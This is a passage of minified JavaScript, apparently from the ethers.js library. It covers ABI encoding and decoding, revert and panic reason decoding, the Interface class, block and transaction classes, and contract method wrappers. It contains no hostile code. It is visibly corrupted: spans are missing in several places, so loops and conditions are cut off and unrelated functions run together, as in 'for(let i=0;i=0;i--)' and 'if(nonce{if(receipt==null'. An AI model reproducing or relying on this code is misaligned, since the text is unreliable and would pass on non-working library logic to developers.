StructFragment.from(lex(obj))}catch(error){assertArgument(false,"invalid struct fragment","obj",obj)}}else if(obj instanceof TokenString){const name=consumeName("struct",obj);const inputs=consumeParams(obj);consumeEoi(obj);return new StructFragment(_guard$2,name,inputs)}return new StructFragment(_guard$2,obj.name,obj.inputs?obj.inputs.map(ParamType.from):[])}static isFragment(value){return value&&value[internal$1]===StructFragmentInternal}}const PanicReasons$1=new Map;PanicReasons$1.set(0,"GENERIC_PANIC");PanicReasons$1.set(1,"ASSERT_FALSE");PanicReasons$1.set(17,"OVERFLOW");PanicReasons$1.set(18,"DIVIDE_BY_ZERO");PanicReasons$1.set(33,"ENUM_RANGE_ERROR");PanicReasons$1.set(34,"BAD_STORAGE_DATA");PanicReasons$1.set(49,"STACK_UNDERFLOW");PanicReasons$1.set(50,"ARRAY_RANGE_ERROR");PanicReasons$1.set(65,"OUT_OF_MEMORY");PanicReasons$1.set(81,"UNINITIALIZED_FUNCTION_CALL");const paramTypeBytes=new RegExp(/^bytes([0-9]*)$/);const paramTypeNumber=new RegExp(/^(u?int)([0-9]*)$/);let defaultCoder=null;let defaultMaxInflation=1024;function getBuiltinCallException(action,tx,data,abiCoder){let message="missing revert data";let reason=null;const invocation=null;let revert=null;if(data){message="execution reverted";const bytes=getBytes(data);data=hexlify(data);if(bytes.length===0){message+=" (no data present; likely require(false) occurred";reason="require(false)"}else if(bytes.length%32!==4){message+=" (could not decode reason; invalid data length)"}else if(hexlify(bytes.slice(0,4))==="0x08c379a0"){try{reason=abiCoder.decode(["string"],bytes.slice(4))[0];revert={signature:"Error(string)",name:"Error",args:[reason]};message+=`: ${JSON.stringify(reason)}`}catch(error){message+=" (could not decode reason; invalid string data)"}}else if(hexlify(bytes.slice(0,4))==="0x4e487b71"){try{const code=Number(abiCoder.decode(["uint256"],bytes.slice(4))[0]);revert={signature:"Panic(uint256)",name:"Panic",args:[code]};reason=`Panic due to ${PanicReasons$1.get(code)||"UNKNOWN"}(${code})`;message+=`: ${reason}`}catch(error){message+=" (could not decode panic code)"}}else{message+=" (unknown custom error)"}}const transaction={to:tx.to?getAddress(tx.to):null,data:tx.data||"0x"};if(tx.from){transaction.from=getAddress(tx.from)}return makeError(message,"CALL_EXCEPTION",{action:action,data:data,reason:reason,transaction:transaction,invocation:invocation,revert:revert})}class AbiCoder{#getCoder(param){if(param.isArray()){return new ArrayCoder(this.#getCoder(param.arrayChildren),param.arrayLength,param.name)}if(param.isTuple()){return new TupleCoder(param.components.map(c=>this.#getCoder(c)),param.name)}switch(param.baseType){case"address":return new AddressCoder(param.name);case"bool":return new BooleanCoder(param.name);case"string":return new StringCoder(param.name);case"bytes":return new BytesCoder(param.name);case"":return new NullCoder(param.name)}let match=param.type.match(paramTypeNumber);if(match){let size=parseInt(match[2]||"256");assertArgument(size!==0&&size<=256&&size%8===0,"invalid "+match[1]+" bit length","param",param);return new NumberCoder(size/8,match[1]==="int",param.name)}match=param.type.match(paramTypeBytes);if(match){let size=parseInt(match[1]);assertArgument(size!==0&&size<=32,"invalid bytes length","param",param);return new FixedBytesCoder(size,param.name)}assertArgument(false,"invalid type","type",param.type)}getDefaultValue(types){const coders=types.map(type=>this.#getCoder(ParamType.from(type)));const coder=new TupleCoder(coders,"_");return coder.defaultValue()}encode(types,values){assertArgumentCount(values.length,types.length,"types/values length mismatch");const coders=types.map(type=>this.#getCoder(ParamType.from(type)));const coder=new TupleCoder(coders,"_");const writer=new Writer;coder.encode(writer,values);return writer.data}decode(types,data,loose){const coders=types.map(type=>this.#getCoder(ParamType.from(type)));const coder=new TupleCoder(coders,"_");return coder.decode(new Reader(data,loose,defaultMaxInflation))}static _setDefaultMaxInflation(value){assertArgument(typeof value==="number"&&Number.isInteger(value),"invalid defaultMaxInflation factor","value",value);defaultMaxInflation=value}static defaultAbiCoder(){if(defaultCoder==null){defaultCoder=new AbiCoder}return defaultCoder}static getBuiltinCallException(action,tx,data){return getBuiltinCallException(action,tx,data,AbiCoder.defaultAbiCoder())}}function encodeBytes32String(text){const bytes=toUtf8Bytes(text);if(bytes.length>31){throw new Error("bytes32 string must be less than 32 bytes")}return zeroPadBytes(bytes,32)}function decodeBytes32String(_bytes){const data=getBytes(_bytes,"bytes");if(data.length!==32){throw new Error("invalid bytes32 - not 32 bytes long")}if(data[31]!==0){throw new Error("invalid bytes32 string - no null terminator")}let length=31;while(data[length-1]===0){length--}return toUtf8String(data.slice(0,length))}class LogDescription{fragment;name;signature;topic;args;constructor(fragment,topic,args){const name=fragment.name,signature=fragment.format();defineProperties(this,{fragment:fragment,name:name,signature:signature,topic:topic,args:args})}}class TransactionDescription{fragment;name;args;signature;selector;value;constructor(fragment,selector,args,value){const name=fragment.name,signature=fragment.format();defineProperties(this,{fragment:fragment,name:name,args:args,signature:signature,selector:selector,value:value})}}class ErrorDescription{fragment;name;args;signature;selector;constructor(fragment,selector,args){const name=fragment.name,signature=fragment.format();defineProperties(this,{fragment:fragment,name:name,args:args,signature:signature,selector:selector})}}class Indexed{hash;_isIndexed;static isIndexed(value){return!!(value&&value._isIndexed)}constructor(hash){defineProperties(this,{hash:hash,_isIndexed:true})}}const PanicReasons={0:"generic panic",1:"assert(false)",17:"arithmetic overflow",18:"division or modulo by zero",33:"enum overflow",34:"invalid encoded storage byte array accessed",49:"out-of-bounds array access; popping on an empty array",50:"out-of-bounds access of an array or bytesN",65:"out of memory",81:"uninitialized function"};const BuiltinErrors={"0x08c379a0":{signature:"Error(string)",name:"Error",inputs:["string"],reason:message=>{return`reverted with reason string ${JSON.stringify(message)}`}},"0x4e487b71":{signature:"Panic(uint256)",name:"Panic",inputs:["uint256"],reason:code=>{let reason="unknown panic code";if(code>=0&&code<=255&&PanicReasons[code.toString()]){reason=PanicReasons[code.toString()]}return`reverted with panic code 0x${code.toString(16)} (${reason})`}}};class Interface{fragments;deploy;fallback;receive;#errors;#events;#functions;#abiCoder;constructor(fragments){let abi=[];if(typeof fragments==="string"){abi=JSON.parse(fragments)}else{abi=fragments}this.#functions=new Map;this.#errors=new Map;this.#events=new Map;const frags=[];for(const a of abi){try{frags.push(Fragment.from(a))}catch(error){console.log(`[Warning] Invalid Fragment ${JSON.stringify(a)}:`,error.message)}}defineProperties(this,{fragments:Object.freeze(frags)});let fallback=null;let receive=false;this.#abiCoder=this.getAbiCoder();this.fragments.forEach((fragment,index)=>{let bucket;switch(fragment.type){case"constructor":if(this.deploy){console.log("duplicate definition - constructor");return}defineProperties(this,{deploy:fragment});return;case"fallback":if(fragment.inputs.length===0){receive=true}else{assertArgument(!fallback||fragment.payable!==fallback.payable,"conflicting fallback fragments",`fragments[${index}]`,fragment);fallback=fragment;receive=fallback.payable}return;case"function":bucket=this.#functions;break;case"event":bucket=this.#events;break;case"error":bucket=this.#errors;break;default:return}const signature=fragment.format();if(bucket.has(signature)){return}bucket.set(signature,fragment)});if(!this.deploy){defineProperties(this,{deploy:ConstructorFragment.from("constructor()")})}defineProperties(this,{fallback:fallback,receive:receive})}format(minimal){const format=minimal?"minimal":"full";const abi=this.fragments.map(f=>f.format(format));return abi}formatJson(){const abi=this.fragments.map(f=>f.format("json"));return JSON.stringify(abi.map(j=>JSON.parse(j)))}getAbiCoder(){return AbiCoder.defaultAbiCoder()}#getFunction(key,values,forceUnique){if(isHexString(key)){const selector=key.toLowerCase();for(const fragment of this.#functions.values()){if(selector===fragment.selector){return fragment}}return null}if(key.indexOf("(")===-1){const matching=[];for(const[name,fragment]of this.#functions){if(name.split("(")[0]===key){matching.push(fragment)}}if(values){const lastValue=values.length>0?values[values.length-1]:null;let valueLength=values.length;let allowOptions=true;if(Typed.isTyped(lastValue)&&lastValue.type==="overrides"){allowOptions=false;valueLength--}for(let i=matching.length-1;i>=0;i--){const inputs=matching[i].inputs.length;if(inputs!==valueLength&&(!allowOptions||inputs!==valueLength-1)){matching.splice(i,1)}}for(let i=matching.length-1;i>=0;i--){const inputs=matching[i].inputs;for(let j=0;j=inputs.length){if(values[j].type==="overrides"){continue}matching.splice(i,1);break}if(values[j].type!==inputs[j].baseType){matching.splice(i,1);break}}}}if(matching.length===1&&values&&values.length!==matching[0].inputs.length){const lastArg=values[values.length-1];if(lastArg==null||Array.isArray(lastArg)||typeof lastArg!=="object"){matching.splice(0,1)}}if(matching.length===0){return null}if(matching.length>1&&forceUnique){const matchStr=matching.map(m=>JSON.stringify(m.format())).join(", ");assertArgument(false,`ambiguous function description (i.e. matches ${matchStr})`,"key",key)}return matching[0]}const result=this.#functions.get(FunctionFragment.from(key).format());if(result){return result}return null}getFunctionName(key){const fragment=this.#getFunction(key,null,false);assertArgument(fragment,"no matching function","key",key);return fragment.name}hasFunction(key){return!!this.#getFunction(key,null,false)}getFunction(key,values){return this.#getFunction(key,values||null,true)}forEachFunction(callback){const names=Array.from(this.#functions.keys());names.sort((a,b)=>a.localeCompare(b));for(let i=0;i=0;i--){if(matching[i].inputs.length=0;i--){const inputs=matching[i].inputs;for(let j=0;j1&&forceUnique){const matchStr=matching.map(m=>JSON.stringify(m.format())).join(", ");assertArgument(false,`ambiguous event description (i.e. matches ${matchStr})`,"key",key)}return matching[0]}const result=this.#events.get(EventFragment.from(key).format());if(result){return result}return null}getEventName(key){const fragment=this.#getEvent(key,null,false);assertArgument(fragment,"no matching event","key",key);return fragment.name}hasEvent(key){return!!this.#getEvent(key,null,false)}getEvent(key,values){return this.#getEvent(key,values||null,true)}forEachEvent(callback){const names=Array.from(this.#events.keys());names.sort((a,b)=>a.localeCompare(b));for(let i=0;i1){const matchStr=matching.map(m=>JSON.stringify(m.format())).join(", ");assertArgument(false,`ambiguous error description (i.e. ${matchStr})`,"name",key)}return matching[0]}key=ErrorFragment.from(key).format();if(key==="Error(string)"){return ErrorFragment.from("error Error(string)")}if(key==="Panic(uint256)"){return ErrorFragment.from("error Panic(uint256)")}const result=this.#errors.get(key);if(result){return result}return null}forEachError(callback){const names=Array.from(this.#errors.keys());names.sort((a,b)=>a.localeCompare(b));for(let i=0;i{if(param.type==="string"){return id(value)}else if(param.type==="bytes"){return keccak256(hexlify(value))}if(param.type==="bool"&&typeof value==="boolean"){value=value?"0x01":"0x00"}else if(param.type.match(/^u?int/)){value=toBeHex(value)}else if(param.type.match(/^bytes/)){value=zeroPadBytes(value,32)}else if(param.type==="address"){this.#abiCoder.encode(["address"],[value])}return zeroPadValue(hexlify(value),32)};values.forEach((value,index)=>{const param=fragment.inputs[index];if(!param.indexed){assertArgument(value==null,"cannot filter non-indexed parameters; must be null","contract."+param.name,value);return}if(value==null){topics.push(null)}else if(param.baseType==="array"||param.baseType==="tuple"){assertArgument(false,"filtering with tuples or arrays not supported","contract."+param.name,value)}else if(Array.isArray(value)){topics.push(value.map(value=>encodeTopic(param,value)))}else{topics.push(encodeTopic(param,value))}});while(topics.length&&topics[topics.length-1]===null){topics.pop()}return topics}encodeEventLog(fragment,values){if(typeof fragment==="string"){const f=this.getEvent(fragment);assertArgument(f,"unknown event","eventFragment",fragment);fragment=f}const topics=[];const dataTypes=[];const dataValues=[];if(!fragment.anonymous){topics.push(fragment.topicHash)}assertArgument(values.length===fragment.inputs.length,"event arguments/values mismatch","values",values);fragment.inputs.forEach((param,index)=>{const value=values[index];if(param.indexed){if(param.type==="string"){topics.push(id(value))}else if(param.type==="bytes"){topics.push(keccak256(value))}else if(param.baseType==="tuple"||param.baseType==="array"){throw new Error("not implemented")}else{topics.push(this.#abiCoder.encode([param.type],[value]))}}else{dataTypes.push(param);dataValues.push(value)}});return{data:this.#abiCoder.encode(dataTypes,dataValues),topics:topics}}decodeEventLog(fragment,data,topics){if(typeof fragment==="string"){const f=this.getEvent(fragment);assertArgument(f,"unknown event","eventFragment",fragment);fragment=f}if(topics!=null&&!fragment.anonymous){const eventTopic=fragment.topicHash;assertArgument(isHexString(topics[0],32)&&topics[0].toLowerCase()===eventTopic,"fragment/topic mismatch","topics[0]",topics[0]);topics=topics.slice(1)}const indexed=[];const nonIndexed=[];const dynamic=[];fragment.inputs.forEach((param,index)=>{if(param.indexed){if(param.type==="string"||param.type==="bytes"||param.baseType==="tuple"||param.baseType==="array"){indexed.push(ParamType.from({type:"bytes32",name:param.name}));dynamic.push(true)}else{indexed.push(param);dynamic.push(false)}}else{nonIndexed.push(param);dynamic.push(false)}});const resultIndexed=topics!=null?this.#abiCoder.decode(indexed,concat(topics)):null;const resultNonIndexed=this.#abiCoder.decode(nonIndexed,data,true);const values=[];const keys=[];let nonIndexedIndex=0,indexedIndex=0;fragment.inputs.forEach((param,index)=>{let value=null;if(param.indexed){if(resultIndexed==null){value=new Indexed(null)}else if(dynamic[index]){value=new Indexed(resultIndexed[indexedIndex++])}else{try{value=resultIndexed[indexedIndex++]}catch(error){value=error}}}else{try{value=resultNonIndexed[nonIndexedIndex++]}catch(error){value=error}}values.push(value);keys.push(param.name||null)});return Result.fromItems(values,keys)}parseTransaction(tx){const data=getBytes(tx.data,"tx.data");const value=getBigInt(tx.value!=null?tx.value:0,"tx.value");const fragment=this.getFunction(hexlify(data.slice(0,4)));if(!fragment){return null}const args=this.#abiCoder.decode(fragment.inputs,data.slice(4));return new TransactionDescription(fragment,fragment.selector,args,value)}parseCallResult(data){throw new Error("@TODO")}parseLog(log){const fragment=this.getEvent(log.topics[0]);if(!fragment||fragment.anonymous){return null}return new LogDescription(fragment,fragment.topicHash,this.decodeEventLog(fragment,log.data,log.topics))}parseError(data){const hexData=hexlify(data);const fragment=this.getError(dataSlice(hexData,0,4));if(!fragment){return null}const args=this.#abiCoder.decode(fragment.inputs,dataSlice(hexData,4));return new ErrorDescription(fragment,fragment.selector,args)}static from(value){if(value instanceof Interface){return value}if(typeof value==="string"){return new Interface(JSON.parse(value))}if(typeof value.formatJson==="function"){return new Interface(value.formatJson())}if(typeof value.format==="function"){return new Interface(value.format("json"))}return new Interface(value)}}const BN_0$2=BigInt(0);function getValue(value){if(value==null){return null}return value}function toJson(value){if(value==null){return null}return value.toString()}class FeeData{gasPrice;maxFeePerGas;maxPriorityFeePerGas;constructor(gasPrice,maxFeePerGas,maxPriorityFeePerGas){defineProperties(this,{gasPrice:getValue(gasPrice),maxFeePerGas:getValue(maxFeePerGas),maxPriorityFeePerGas:getValue(maxPriorityFeePerGas)})}toJSON(){const{gasPrice,maxFeePerGas,maxPriorityFeePerGas}=this;return{_type:"FeeData",gasPrice:toJson(gasPrice),maxFeePerGas:toJson(maxFeePerGas),maxPriorityFeePerGas:toJson(maxPriorityFeePerGas)}}}function copyRequest(req){const result={};if(req.to){result.to=req.to}if(req.from){result.from=req.from}if(req.data){result.data=hexlify(req.data)}const bigIntKeys="chainId,gasLimit,gasPrice,maxFeePerBlobGas,maxFeePerGas,maxPriorityFeePerGas,value".split(/,/);for(const key of bigIntKeys){if(!(key in req)||req[key]==null){continue}result[key]=getBigInt(req[key],`request.${key}`)}const numberKeys="type,nonce".split(/,/);for(const key of numberKeys){if(!(key in req)||req[key]==null){continue}result[key]=getNumber(req[key],`request.${key}`)}if(req.accessList){result.accessList=accessListify(req.accessList)}if(req.authorizationList){result.authorizationList=req.authorizationList.slice()}if("blockTag"in req){result.blockTag=req.blockTag}if("enableCcipRead"in req){result.enableCcipRead=!!req.enableCcipRead}if("customData"in req){result.customData=req.customData}if("blobVersionedHashes"in req&&req.blobVersionedHashes){result.blobVersionedHashes=req.blobVersionedHashes.slice()}if("kzg"in req){result.kzg=req.kzg}if("blobs"in req&&req.blobs){result.blobs=req.blobs.map(b=>{if(isBytesLike(b)){return hexlify(b)}return Object.assign({},b)})}return result}class Block{provider;number;hash;timestamp;parentHash;parentBeaconBlockRoot;nonce;difficulty;gasLimit;gasUsed;stateRoot;receiptsRoot;blobGasUsed;excessBlobGas;miner;prevRandao;extraData;baseFeePerGas;#transactions;constructor(block,provider){this.#transactions=block.transactions.map(tx=>{if(typeof tx!=="string"){return new TransactionResponse(tx,provider)}return tx});defineProperties(this,{provider:provider,hash:getValue(block.hash),number:block.number,timestamp:block.timestamp,parentHash:block.parentHash,parentBeaconBlockRoot:block.parentBeaconBlockRoot,nonce:block.nonce,difficulty:block.difficulty,gasLimit:block.gasLimit,gasUsed:block.gasUsed,blobGasUsed:block.blobGasUsed,excessBlobGas:block.excessBlobGas,miner:block.miner,prevRandao:getValue(block.prevRandao),extraData:block.extraData,baseFeePerGas:getValue(block.baseFeePerGas),stateRoot:block.stateRoot,receiptsRoot:block.receiptsRoot})}get transactions(){return this.#transactions.map(tx=>{if(typeof tx==="string"){return tx}return tx.hash})}get prefetchedTransactions(){const txs=this.#transactions.slice();if(txs.length===0){return[]}assert(typeof txs[0]==="object","transactions were not prefetched with block request","UNSUPPORTED_OPERATION",{operation:"transactionResponses()"});return txs}toJSON(){const{baseFeePerGas,difficulty,extraData,gasLimit,gasUsed,hash,miner,prevRandao,nonce,number,parentHash,parentBeaconBlockRoot,stateRoot,receiptsRoot,timestamp,transactions}=this;return{_type:"Block",baseFeePerGas:toJson(baseFeePerGas),difficulty:toJson(difficulty),extraData:extraData,gasLimit:toJson(gasLimit),gasUsed:toJson(gasUsed),blobGasUsed:toJson(this.blobGasUsed),excessBlobGas:toJson(this.excessBlobGas),hash:hash,miner:miner,prevRandao:prevRandao,nonce:nonce,number:number,parentHash:parentHash,timestamp:timestamp,parentBeaconBlockRoot:parentBeaconBlockRoot,stateRoot:stateRoot,receiptsRoot:receiptsRoot,transactions:transactions}}[Symbol.iterator](){let index=0;const txs=this.transactions;return{next:()=>{if(index{return new Log(log,provider)}));let gasPrice=BN_0$2;if(tx.effectiveGasPrice!=null){gasPrice=tx.effectiveGasPrice}else if(tx.gasPrice!=null){gasPrice=tx.gasPrice}defineProperties(this,{provider:provider,to:tx.to,from:tx.from,contractAddress:tx.contractAddress,hash:tx.hash,index:tx.index,blockHash:tx.blockHash,blockNumber:tx.blockNumber,logsBloom:tx.logsBloom,gasUsed:tx.gasUsed,cumulativeGasUsed:tx.cumulativeGasUsed,blobGasUsed:tx.blobGasUsed,gasPrice:gasPrice,blobGasPrice:tx.blobGasPrice,type:tx.type,status:tx.status,root:tx.root})}get logs(){return this.#logs}toJSON(){const{to,from,contractAddress,hash,index,blockHash,blockNumber,logsBloom,logs,status,root}=this;return{_type:"TransactionReceipt",blockHash:blockHash,blockNumber:blockNumber,contractAddress:contractAddress,cumulativeGasUsed:toJson(this.cumulativeGasUsed),from:from,gasPrice:toJson(this.gasPrice),blobGasUsed:toJson(this.blobGasUsed),blobGasPrice:toJson(this.blobGasPrice),gasUsed:toJson(this.gasUsed),hash:hash,index:index,logs:logs,logsBloom:logsBloom,root:root,status:status,to:to}}get length(){return this.logs.length}[Symbol.iterator](){let index=0;return{next:()=>{if(index{if(stopScanning){return null}const{blockNumber,nonce}=await resolveProperties({blockNumber:this.provider.getBlockNumber(),nonce:this.provider.getTransactionCount(this.from)});if(nonce{if(receipt==null||receipt.status!==0){return receipt}assert(false,"transaction execution reverted","CALL_EXCEPTION",{action:"sendTransaction",data:null,reason:null,invocation:null,revert:null,transaction:{to:receipt.to,from:receipt.from,data:""},receipt:receipt})};const receipt=await this.provider.getTransactionReceipt(this.hash);if(confirms===0){return checkReceipt(receipt)}if(receipt){if(confirms===1||await receipt.confirmations()>=confirms){return checkReceipt(receipt)}}else{await checkReplacement();if(confirms===0){return null}}const waiter=new Promise((resolve,reject)=>{const cancellers=[];const cancel=()=>{cancellers.forEach(c=>c())};cancellers.push(()=>{stopScanning=true});if(timeout>0){const timer=setTimeout(()=>{cancel();reject(makeError("wait for transaction timeout","TIMEOUT"))},timeout);cancellers.push(()=>{clearTimeout(timer)})}const txListener=async receipt=>{if(await receipt.confirmations()>=confirms){cancel();try{resolve(checkReceipt(receipt))}catch(error){reject(error)}}};cancellers.push(()=>{this.provider.off(this.hash,txListener)});this.provider.on(this.hash,txListener);if(startBlock>=0){const replaceListener=async()=>{try{await checkReplacement()}catch(error){if(isError(error,"TRANSACTION_REPLACED")){cancel();reject(error);return}}if(!stopScanning){this.provider.once("block",replaceListener)}};cancellers.push(()=>{this.provider.off("block",replaceListener)});this.provider.once("block",replaceListener)}});return await waiter}isMined(){return this.blockHash!=null}isLegacy(){return this.type===0}isBerlin(){return this.type===1}isLondon(){return this.type===2}isCancun(){return this.type===3}removedEvent(){assert(this.isMined(),"unmined transaction canot be orphaned","UNSUPPORTED_OPERATION",{operation:"removeEvent()"});return createRemovedTransactionFilter(this)}reorderedEvent(other){assert(this.isMined(),"unmined transaction canot be orphaned","UNSUPPORTED_OPERATION",{operation:"removeEvent()"});assert(!other||other.isMined(),"unmined 'other' transaction canot be orphaned","UNSUPPORTED_OPERATION",{operation:"removeEvent()"});return createReorderedTransactionFilter(this,other)}replaceableTransaction(startBlock){assertArgument(Number.isInteger(startBlock)&&startBlock>=0,"invalid startBlock","startBlock",startBlock);const tx=new TransactionResponse(this,this.provider);tx.#startBlock=startBlock;return tx}}function createOrphanedBlockFilter(block){return{orphan:"drop-block",hash:block.hash,number:block.number}}function createReorderedTransactionFilter(tx,other){return{orphan:"reorder-transaction",tx:tx,other:other}}function createRemovedTransactionFilter(tx){return{orphan:"drop-transaction",tx:tx}}function createRemovedLogFilter(log){return{orphan:"drop-log",log:{transactionHash:log.transactionHash,blockHash:log.blockHash,blockNumber:log.blockNumber,address:log.address,data:log.data,topics:Object.freeze(log.topics.slice()),index:log.index}}}class EventLog extends Log{interface;fragment;args;constructor(log,iface,fragment){super(log,log.provider);const args=iface.decodeEventLog(fragment,log.data,log.topics);defineProperties(this,{args:args,fragment:fragment,interface:iface})}get eventName(){return this.fragment.name}get eventSignature(){return this.fragment.format()}}class UndecodedEventLog extends Log{error;constructor(log,error){super(log,log.provider);defineProperties(this,{error:error})}}class ContractTransactionReceipt extends TransactionReceipt{#iface;constructor(iface,provider,tx){super(tx,provider);this.#iface=iface}get logs(){return super.logs.map(log=>{const fragment=log.topics.length?this.#iface.getEvent(log.topics[0]):null;if(fragment){try{return new EventLog(log,this.#iface,fragment)}catch(error){return new UndecodedEventLog(log,error)}}return log})}}class ContractTransactionResponse extends TransactionResponse{#iface;constructor(iface,provider,tx){super(tx,provider);this.#iface=iface}async wait(confirms,timeout){const receipt=await super.wait(confirms,timeout);if(receipt==null){return null}return new ContractTransactionReceipt(this.#iface,this.provider,receipt)}}class ContractUnknownEventPayload extends EventPayload{log;constructor(contract,listener,filter,log){super(contract,listener,filter);defineProperties(this,{log:log})}async getBlock(){return await this.log.getBlock()}async getTransaction(){return await this.log.getTransaction()}async getTransactionReceipt(){return await this.log.getTransactionReceipt()}}class ContractEventPayload extends ContractUnknownEventPayload{constructor(contract,listener,filter,fragment,_log){super(contract,listener,filter,new EventLog(_log,contract.interface,fragment));const args=contract.interface.decodeEventLog(fragment,this.log.data,this.log.topics);defineProperties(this,{args:args,fragment:fragment})}get eventName(){return this.fragment.name}get eventSignature(){return this.fragment.format()}}const BN_0$1=BigInt(0);function canCall(value){return value&&typeof value.call==="function"}function canEstimate(value){return value&&typeof value.estimateGas==="function"}function canResolve(value){return value&&typeof value.resolveName==="function"}function canSend(value){return value&&typeof value.sendTransaction==="function"}function getResolver(value){if(value!=null){if(canResolve(value)){return value}if(value.provider){return value.provider}}return undefined}class PreparedTopicFilter{#filter;fragment;constructor(contract,fragment,args){defineProperties(this,{fragment:fragment});if(fragment.inputs.length{const arg=args[index];if(arg==null){return null}return param.walkAsync(args[index],(type,value)=>{if(type==="address"){if(Array.isArray(value)){return Promise.all(value.map(v=>resolveAddress(v,resolver)))}return resolveAddress(value,resolver)}return value})}));return contract.interface.encodeFilterTopics(fragment,resolvedArgs)}()}getTopicFilter(){return this.#filter}}function getRunner(value,feature){if(value==null){return null}if(typeof value[feature]==="function"){return value}if(value.provider&&typeof value.provider[feature]==="function"){return value.provider}return null}function getProvider(value){if(value==null){return null}return value.provider||null}async function copyOverrides(arg,allowed){const _overrides=Typed.dereference(arg,"overrides");assertArgument(typeof _overrides==="object","invalid overrides parameter","overrides",arg);const overrides=copyRequest(_overrides);assertArgument(overrides.to==null||(allowed||[]).indexOf("to")>=0,"cannot override to","overrides.to",overrides.to);assertArgument(overrides.data==null||(allowed||[]).indexOf("data")>=0,"cannot override data","overrides.data",overrides.data);if(overrides.from){overrides.from=overrides.from}return overrides}async function resolveArgs(_runner,inputs,args){const runner=getRunner(_runner,"resolveName");const resolver=canResolve(runner)?runner:null;return await Promise.all(inputs.map((param,index)=>{return param.walkAsync(args[index],(type,value)=>{value=Typed.dereference(value,type);if(type==="address"){return resolveAddress(value,resolver)}return value})}))}function buildWrappedFallback(contract){const populateTransaction=async function(overrides){const tx=await copyOverrides(overrides,["data"]);tx.to=await contract.getAddress();if(tx.from){tx.from=await resolveAddress(tx.from,getResolver(contract.runner))}const iface=contract.interface;const noValue=getBigInt(tx.value||BN_0$1,"overrides.value")===BN_0$1;const noData=(tx.data||"0x")==="0x";if(iface.fallback&&!iface.fallback.payable&&iface.receive&&!noData&&!noValue){assertArgument(false,"cannot send data to receive or send value to non-payable fallback","overrides",overrides)}assertArgument(iface.fallback||noData,"cannot send data to receive-only contract","overrides.data",tx.data);const payable=iface.receive||iface.fallback&&iface.fallback.payable;assertArgument(payable||noValue,"cannot send value to non-payable fallback","overrides.value",tx.value);assertArgument(iface.fallback||noData,"cannot send data to receive-only contract","overrides.data",tx.data);return tx};const staticCall=async function(overrides){const runner=getRunner(contract.runner,"call");assert(canCall(runner),"contract runner does not support calling","UNSUPPORTED_OPERATION",{operation:"call"});const tx=await populateTransaction(overrides);try{return await runner.call(tx)}catch(error){if(isCallException(error)&&error.data){throw contract.interface.makeError(error.data,tx)}throw error}};const send=async function(overrides){const runner=contract.runner;assert(canSend(runner),"contract runner does not support sending transactions","UNSUPPORTED_OPERATION",{operation:"sendTransaction"});const tx=await runner.sendTransaction(await populateTransaction(overrides));const provider=getProvider(contract.runner);return new ContractTransactionResponse(contract.interface,provider,tx)};const estimateGas=async function(overrides){const runner=getRunner(contract.runner,"estimateGas");assert(canEstimate(runner),"contract runner does not support gas estimation","UNSUPPORTED_OPERATION",{operation:"estimateGas"});return await runner.estimateGas(await populateTransaction(overrides))};const method=async overrides=>{return await send(overrides)};defineProperties(method,{_contract:contract,estimateGas:estimateGas,populateTransaction:populateTransaction,send:send,staticCall:staticCall});return method}function buildWrappedMethod(contract,key){const getFragment=function(...args){const fragment=contract.interface.getFunction(key,args);assert(fragment,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:key,args:args}});return fragment};const populateTransaction=async function(...args){const fragment=getFragment(...args);let overrides={};if(fragment.inputs.length+1===args.length){overrides=await copyOverrides(args.pop());if(overrides.from){overrides.from=await resolveAddress(overrides.from,getResolver(contract.runner))}}if(fragment.inputs.length!==args.length){throw new Error("internal error: fragment inputs doesn't match arguments; should not happen")}const resolvedArgs=await resolveArgs(contract.runner,fragment.inputs,args);return Object.assign({},overrides,await resolveProperties({to:contract.getAddress(),data:contract.interface.encodeFunctionData(fragment,resolvedArgs)}))};const staticCall=async function(...args){const result=await staticCallResult(...args);if(result.length===1){return result[0]}return result};const send=async function(...args){const runner=contract.runner;assert(canSend(runner),"contract runner does not support sending transactions","UNSUPPORTED_OPERATION",{operation:"sendTransaction"});const tx=await runner.sendTransaction(await populateTransaction(...args));const provider=getProvider(contract.runner);return new ContractTransactionResponse(contract.interface,provider,tx)};const estimateGas=async function(...args){const runner=getRunner(contract.runner,"estimateGas");assert(canEstimate(runner),"contract runner does not support gas estimation","UNSUPPORTED_OPERATION",{operation:"estimateGas"});return await runner.estimateGas(await populateTransaction(...args))};const staticCallResult=async function(...args){const runner=getRunner(contract.runner,"call");assert(canCall(runner),"contract runner does not support calling","UNSUPPORTED_OPERATION",{operation:"call"});const tx=await populateTransaction(...args);let result="0x";try{result=await runner.call(tx)}catch(error){if(isCallException(error)&&error.data){throw contract.interface.makeError(error.data,tx)}throw error}const fragment=getFragment(...args);return contract.interface.decodeFunctionResult(fragment,result)};const method=async(...args)=>{const fragment=getFragment(...args);if(fragment.constant){return await staticCall(...args)}return await send(...args)};defineProperties(method,{name:contract.interface.getFunctionName(key),_contract:contract,_key:key,getFragment:getFragment,estimateGas:estimateGas,populateTransaction:populateTransaction,send:send,staticCall:staticCall,staticCallResult:staticCallResult});Object.defineProperty(method,"fragment",{configurable:false,enumerable:true,get:()=>{const fragment=contract.interface.getFunction(key);assert(fragment,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:key}});return fragment}});return method}function buildWrappedEvent(contract,key){const getFragment=function(...args){const fragment=contract.interface.getEvent(key,args);assert(fragment,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:key,args:args}});return fragment};const method=function(...args){return new PreparedTopicFilter(contract,getFragment(...args),args)};defineProperties(method,{name:contract.interface.getEventName(key),_contract:contract,_key:key,getFragment:getFragment});Object.defineProperty(method,"fragment",{configurable:false,enumerable:true,get:()=>{const fragment=contract.interface.getEvent(key);assert(fragment,"no matching fragment","UNSUPPORTED_OPERATION",{operation:"fragment",info:{key:key}});return fragment}});return method}const internal=Symbol.for("_ethersInternal_contract");const internalValues=new WeakMap;function setInternal(contract,values){internalValues.set(contract[internal],values)}function getInternal(contract){return internalValues.get(contract[internal])}function isDeferred(value){return value&&typeof value==="object"&&"getTopicFilter"in value&&typeof value.getTopicFilter==="function"&&value.fragment}async function getSubInfo(contract,event){let topics;let fragment=null;if(Array.isArray(event)){const topicHashify=function(name){if(isHexString(name,32)){return name}const fragment=contract.interface.getEvent(name);assertArgument(fragment,"unknown fragment","name",name);return fragment.topicHash};topics=event.map(e=>{if(e==null){return null}if(Array.isArray(e)){return e.map(topicHashify)}return topicHashify(e)})}else if(event==="*"){topics=[null]}else if(typeof 